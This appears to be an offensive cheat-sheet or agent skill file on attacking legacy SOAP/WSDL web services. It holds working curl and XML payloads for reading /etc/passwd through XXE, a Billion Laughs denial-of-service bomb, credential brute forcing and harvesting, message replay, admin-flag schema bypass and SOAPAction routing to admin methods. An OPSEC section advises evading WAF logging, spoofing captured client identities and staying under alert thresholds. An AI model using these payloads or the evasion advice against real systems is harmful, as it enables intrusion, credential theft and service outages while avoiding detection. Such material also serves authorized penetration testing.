api-soap-wsdl

# SOAP / WSDL Attack Surface Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems. ## Discovery ```bash # WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - curl -sk "https://target/Service.svc?wsdl" | xmllint --format - # Generate a client from the WSDL python -m zeep https://target/Service.asmx?wsdl # OR wsdl2java -uri https://target/Service.asmx?wsdl ``` ## Quick attack catalog ### XXE in SOAP envelope ```bash curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ -d '<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body> </soap:Envelope>' https://target/Service.asmx ``` ### WS-Security UsernameToken brute / clear-text leak The `<wsse:UsernameToken>` often carries `<wsse:Password>` in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds: ```bash # WSPolicy may demand: Type="...#PasswordText" curl -sk -X POST -d @ws-attack.xml https://target/svc # Brute: cycle a username dict, observe response time/error class ``` ### WS-Addressing replay SOAP responses often include `<wsa:RelatesTo>` referencing the request `<wsa:MessageID>`. Some servers don't validate freshness: ```xml <wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID> ``` ### SAML in WS-Trust / SAML EncryptedAssertion WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns. ### Schema validation bypass Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser: ```xml <soap:Body> <tns:Method> <tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored --> <tns:arg>value</tns:arg> </tns:Method> </soap:Body> ``` ### XML Bomb / Billion Laughs DoS ```xml <!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]> <x>&c;&c;&c;</x> ``` ### SOAPAction routing confusion .NET ASMX picks the method by `SOAPAction` header, not body. Mismatch → call methods you shouldn't be able to: ```bash curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \ https://target/Service.asmx ``` ## Tooling ```bash # SoapUI free / Postman SOAP — interactive probing soapui --gui # or non-GUI: testrunner.sh # Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping # python zeep — programmatic SOAP client (good for automation) python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))" ``` ## OPSEC - WS-Addressing `<wsa:MessageID>` is logged in many WAFs — randomize per-request. - WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests. - SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts. ## References - WS-Attacks.org — XSW, XXE, WS-Security variants catalog - OWASP "Testing for Web Services" — chapter on SOAP/WSDL - "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable) - Burp extension: SAML Raider